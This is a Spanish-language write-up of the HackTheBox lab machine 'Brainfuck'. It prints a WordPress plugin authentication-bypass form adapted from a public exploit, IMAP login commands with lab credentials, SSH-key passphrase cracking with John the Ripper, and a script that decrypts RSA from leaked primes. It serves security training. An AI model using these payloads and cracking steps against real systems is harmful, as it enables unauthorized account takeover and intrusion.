Brainfuck — INSANE
Writeup técnico y paso a paso de 'Brainfuck' (HTB): enumeración de WordPress y subdominios vía TLS, abuso de WP Support Plus Responsive Ticket System, recuperación de credenciales SMTP, acceso al foro privado, obtención de llave SSH y escalada final mediante una implementación insegura de RSA.
Brainfuck — INSANE
Fecha: 2026-04-13
IP objetivo: 10.129.228.97
Estado: Resuelta
Autor: Roberto
TL;DR
La máquina expone SSH, servicios de correo y un sitio web HTTPS. El certificado TLS revela dos virtual hosts importantes: brainfuck.htb y sup3rs3cr3t.brainfuck.htb. En el primero encontramos un WordPress vulnerable; WPScan identifica el plugin WP Support Plus Responsive Ticket System 7.1.3, que permite autenticación indebida mediante la acción loginGuestFacebook. Aprovechando esa falla obtenemos acceso al panel administrativo.
Ya dentro, revisando la configuración de plugins, encontramos Easy WP SMTP, donde el sitio almacena credenciales del correo. Aunque la contraseña aparece oculta en la interfaz, sigue presente en el HTML, por lo que puede recuperarse fácilmente. Con esas credenciales accedemos al buzón por IMAP y encontramos un mensaje que revela las credenciales del foro secreto.
En el foro descubrimos información relacionada con el acceso SSH y recuperamos una clave privada protegida por passphrase. Convertimos la llave con ssh2john.py, crackeamos la passphrase con John the Ripper y accedemos como orestis por SSH. En su directorio encontramos un script encrypt.sage y archivos auxiliares que muestran que el contenido de root.txt fue cifrado con RSA, pero además exponen p, q y e en debug.txt. Con esos valores reconstruimos la clave privada RSA, desciframos el ciphertext y obtenemos la flag de root.
Reconocimiento
Comenzamos con un escaneo completo de puertos para identificar la superficie de ataque:
1
nmap -p- -Pn 10.129.228.97 -sCV --min-rate 5000 -oN enum.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─ /workspace/hackthebox/Brainfuck
└─ ➤ nmap -p- -Pn 10.129.228.97 -sCV --min-rate 5000 -oN enum.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
| 256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_ 256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES USER UIDL CAPA SASL(PLAIN) PIPELINING TOP AUTH-RESP-CODE
143/tcp open imap Dovecot imapd
|_imap-capabilities: IMAP4rev1 more ID have post-login LITERAL+ listed ENABLE capabilities LOGIN-REFERRALS SASL-IR AUTH=PLAINA0001 Pre-login IDLE OK
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A simple vista, hay varias cosas importantes:
22/tcp: acceso SSH, probablemente útil más adelante.25/tcp,110/tcpy143/tcp: servicios de correo expuestos.443/tcp: superficie web principal.- El certificado TLS revela dos nombres importantes que no conviene ignorar:
brainfuck.htbsup3rs3cr3t.brainfuck.htb
Ese último punto fue clave. En muchas máquinas, el certificado TLS ya adelanta subdominios internos o virtual hosts reales de la superficie de ataque. Así que agregamos ambos al archivo /etc/hosts:
1
10.129.228.97 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
Enumeración web
Con los hosts configurados, usamos whatweb para identificar mejor las tecnologías utilizadas:
1
2
3
4
5
6
7
┌─ /workspace/hackthebox/Brainfuck
└─ ➤ whatweb https://brainfuck.htb/
https://brainfuck.htb/ [200 OK] Bootstrap[4.7.3], Country[RESERVED][ZZ], Email[ajax-loader@2x.gif,orestis@brainfuck.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.0 (Ubuntu)], IP[10.129.228.97], JQuery[1.12.4], MetaGenerator[WordPress 4.7.3], Modernizr, PoweredBy[WordPress,], Script[text/javascript], Title[Brainfuck Ltd. – Just another WordPress site], UncommonHeaders[link], WordPress[4.7.3], nginx[1.10.0]
┌─ /workspace/hackthebox/Brainfuck
└─ ➤ whatweb https://sup3rs3cr3t.brainfuck.htb/
https://sup3rs3cr3t.brainfuck.htb/ [200 OK] Cookies[flarum_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.0 (Ubuntu)], HttpOnly[flarum_session], IP[10.129.228.97], Script, Title[Super Secret Forum], UncommonHeaders[x-csrf-token], nginx[1.10.0]
Esto separa claramente dos objetivos:
brainfuck.htb: un sitio montado sobre WordPress 4.7.3sup3rs3cr3t.brainfuck.htb: un foro Flarum
La página principal se veía así:
Y el subdominio secreto correspondía al foro:
En este punto creé una cuenta en el foro para revisar contenido, pero no encontré una vía de explotación clara desde usuario normal. Por eso decidí concentrarme primero en WordPress.
Enumeración de WordPress
El siguiente paso lógico fue usar wpscan:
1
wpscan --url https://brainfuck.htb/ --disable-tls-checks --api-token <TOKEN>
La herramienta reportó muchas vulnerabilidades asociadas a WordPress 4.7.3. Eso suele pasar con versiones antiguas: aparecen decenas de hallazgos potenciales, pero no todos sirven para resolver la máquina. Lo importante aquí era identificar una ruta explotable y concreta.
El hallazgo clave fue este plugin:
1
2
WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
Version: 7.1.3
Y además existía un PoC público:
1
https://www.exploit-db.com/exploits/41006
El PoC original era el siguiente:
1
2
3
4
5
6
<form method="post" action="http://wp/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Explotación inicial
Qué falla aquí
La vulnerabilidad está en la acción loginGuestFacebook. El plugin implementa una lógica de inicio de sesión que confía en parámetros controlados por el cliente sin validar correctamente que el usuario haya pasado por un flujo real de autenticación.
Dicho de manera simple: la aplicación acepta datos como username, email y action, y termina generando una sesión autenticada. Eso rompe completamente el modelo de seguridad del login, porque permite suplantar a otro usuario. Si el usuario suplantado tiene privilegios altos, el impacto se convierte en acceso directo como administrador.
Explotación práctica
Creamos un HTML local adaptando el PoC al objetivo:
1
2
3
4
5
6
7
8
cat > /workspace/hackthebox/Brainfuck/exploit.html << 'EOF'
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
EOF
Levantamos un servidor local:
1
cd /workspace/hackthebox/Brainfuck && python3 -m http.server 8000
Y abrimos en el navegador:
1
http://localhost:8000/exploit.html
Después de enviar el formulario, las cookies de sesión quedan almacenadas en el navegador. Luego solo visitamos:
1
https://brainfuck.htb/wp-admin/
Y aparecemos autenticados en el panel.
Con eso conseguimos acceso administrativo sobre WordPress.
Descubrimiento de credenciales SMTP
Con acceso al panel, el siguiente paso fue revisar plugins, configuraciones y cualquier información sensible almacenada por la aplicación. Ahí apareció un plugin muy interesante: Easy WP SMTP.
Esto tenía sentido por dos razones:
- En el escaneo inicial ya habíamos visto servicios de correo expuestos.
- Si el sitio usa SMTP para enviar correos, existe una buena posibilidad de que las credenciales estén almacenadas en WordPress.
Dentro de la configuración encontramos el usuario SMTP y una contraseña aparentemente oculta.
Sin embargo, ocultar una contraseña en un campo HTML no equivale a protegerla. Si el valor sigue estando presente en el DOM o en el código fuente entregado al navegador, cualquier persona con acceso a la página puede recuperarlo.
Al inspeccionar el HTML con CTRL + U, pudimos verla sin problema:
Explicación de la debilidad
Aquí no estamos explotando una vulnerabilidad separada del plugin, sino una mala práctica de seguridad bastante seria: exponer secretos al cliente. Aunque el campo se vea como password, el navegador ya recibió el valor real. Eso significa que cualquier persona con acceso al panel puede obtener credenciales reutilizables en otros servicios.
Y justo eso ocurre en esta máquina.
Acceso al correo
Con las credenciales del correo, la idea fue revisar el buzón para buscar información útil. Aquí hay una precisión técnica importante: aunque inicialmente uno piense en SMTP, los comandos que usamos para listar carpetas y leer mensajes son realmente de IMAP.
- SMTP sirve para enviar correos.
- IMAP sirve para listar buzones y leer mensajes.
Como el puerto 143/tcp estaba abierto y Nmap identificó Dovecot IMAP, tenía sentido usar ese protocolo.
Los comandos fueron:
1
2
3
4
5
a1 LOGIN orestis kHGuERB29DNiNE
a2 LIST "" "*"
a3 EXAMINE INBOX
a4 FETCH 1 BODY[]
a5 FETCH 2 BODY[]
El mensaje importante reveló esto:
1
2
3
4
Hi there, your credentials for our "secret" forum are below :)
username: orestis
password: kIEnnfEKJ#9UmdO
Con eso ya teníamos credenciales válidas para el foro privado.
Acceso al foro privado
Usamos esas credenciales para iniciar sesión en sup3rs3cr3t.brainfuck.htb:
Al revisar el contenido, especialmente en la sección relacionada con acceso SSH, apareció una pista importante: el inicio de sesión por contraseña estaba deshabilitado y solo se permitía autenticación mediante llave.
Eso cambia por completo el enfoque. Ya no se trata de conseguir una contraseña SSH, sino de recuperar una private key válida y, si está protegida, su passphrase.
En el foro había suficiente información para llegar a una llave privada cifrada. Además, apareció texto que se prestaba a ser interpretado como un mensaje cifrado con Vigenère, o al menos como una transformación compatible con un descifrador de ese tipo.
Para apoyar esa parte utilicé esta herramienta:
1
https://www.dcode.fr/cifrado-vigenere
Después de procesar la información del foro, recuperamos la llave privada SSH, aunque protegida con passphrase.
Crackeo de la passphrase de la llave SSH
Con la private key en nuestro poder, la convertimos a un formato crackeable para John the Ripper:
1
2
┌─ /workspace/tools
└─ ➤ ssh2john.py /workspace/hackthebox/Brainfuck/id_rsa > id_john
Luego ejecutamos John con rockyou.txt:
1
2
3
4
5
6
7
8
9
10
11
12
┌─ /workspace/tools
└─ ➤ john id_john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
3poulakia! (/workspace/hackthebox/Brainfuck/id_rsa)
1g 0:00:00:04 DONE (2026-04-13 22:57) 0.2273g/s 2832Kp/s 2832Kc/s 2832KC/s 3puledega..3poopsie16
Use the "--show" option to display all of the cracked passwords reliably
Session completed
La passphrase era:
1
3poulakia!
Con eso ya podemos entrar por SSH:
1
2
3
4
┌─ /workspace/hackthebox/Brainfuck
└─ ➤ ssh -i id_rsa orestis@brainfuck.htb
Enter passphrase for key 'id_rsa': 3poulakia!
Y obtenemos acceso como orestis.
1
2
orestis@brainfuck:~$ cat user.txt
2c11cfbc5b959f73ac15a3310bd097c9
Enumeración local
Una vez dentro, listamos el contenido del directorio personal:
1
2
orestis@brainfuck:~$ ls
debug.txt encrypt.sage mail output.txt user.txt
Lo interesante aquí no es solo encontrar archivos raros, sino entender qué papel cumple cada uno:
output.txtcontiene un valor cifrado.debug.txtcontiene tres enteros gigantes.encrypt.sageparece ser el script que generó ese cifrado.
output.txt mostraba esto:
1
2
orestis@brainfuck:~$ cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
debug.txt contenía lo siguiente:
1
2
3
4
orestis@brainfuck:~$ cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
Y el script encrypt.sage explicaba el proceso:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
Escalada de privilegios
Qué hace el script
El script toma el contenido de /root/root.txt, lo convierte a un entero y lo cifra usando RSA. El flujo general es este:
- Genera dos primos aleatorios
pyq. - Calcula
n = p * q. - Calcula
phi = (p - 1) * (q - 1). - Escoge un exponente público
ecoprimo conphi. - Cifra el mensaje mediante
c = m^e mod n.
Hasta ahí, la lógica general es consistente con RSA.
Dónde está el error crítico
El problema real es que el script escribe en debug.txt exactamente los valores que jamás deberían exponerse:
pqe
En RSA, si un atacante conoce p y q, puede reconstruir toda la clave privada. Eso destruye por completo la seguridad del cifrado. El algoritmo no falla por una debilidad matemática del esquema, sino por una mala gestión de secretos.
Idea del ataque
Recordemos:
- Cifrado:
c = m^e mod n - Descifrado:
m = c^d mod n
Donde d es el inverso modular de e respecto a phi(n).
Como debug.txt nos da directamente p, q y e, podemos:
- Reconstruir
n = p * q - Calcular
phi = (p - 1) * (q - 1) - Obtener
d = e^(-1) mod phi - Descifrar el ciphertext
- Convertir el entero resultante a texto
Descifrado del ciphertext
Usé este script en Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Algoritmo extendido de Euclides para calcular el inverso modular
def egcd(a, b):
if a == 0:
return b, 0, 1
g, x, y = egcd(b % a, a)
return g, y - (b // a) * x, x
# Valores extraídos de debug.txt y output.txt
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
# Reconstrucción de parámetros RSA
n = p * q
phi = (p - 1) * (q - 1)
# Cálculo de la clave privada d
_, d, _ = egcd(e % phi, phi)
d = d % phi
# Descifrado
m = pow(c, d, n)
# Conversión del entero a texto
print(bytes.fromhex(hex(m)[2:]).decode())
Y con eso recuperamos el contenido original de root.txt.
Resumen
La máquina Brainfuck muestra una cadena de compromiso bastante interesante porque obliga a enlazar varias debilidades distintas en lugar de depender de una sola explotación aislada. El acceso inicial nace del reconocimiento cuidadoso: el certificado TLS revela un subdominio adicional y la enumeración del WordPress identifica un plugin vulnerable que permite autenticación indebida. Esa primera falla no da shell directamente, pero sí acceso al panel administrativo, lo que abre la puerta a secretos más sensibles.
Ya dentro del backend, el siguiente error es de gestión de credenciales. El plugin de SMTP almacena la contraseña de correo de forma recuperable desde el HTML, lo que permite reutilizar esas credenciales en el servicio IMAP expuesto por el host. A través del buzón obtenemos acceso al foro privado, y desde ahí se filtra la información suficiente para recuperar una clave SSH y crackear su passphrase.
La escalada final es la parte más llamativa: no se basa en un binario SUID clásico ni en una mala configuración de sudo, sino en una implementación insegura de RSA. El script encrypt.sage cifra el contenido de root.txt, pero además deja en debug.txt los valores p, q y e, que son suficientes para reconstruir la clave privada y revertir el cifrado. Es un buen ejemplo de cómo una idea criptográfica correcta puede quedar completamente anulada por un manejo desastroso del material secreto.
En conjunto, la máquina deja varias lecciones claras: los certificados TLS pueden revelar parte de la superficie real, un panel administrativo comprometido suele implicar exposición de más secretos, ocultar una contraseña en el navegador no la protege, y en criptografía la seguridad depende tanto del algoritmo como de cómo se implementa y se resguardan sus parámetros internos.
Happy hacking :)










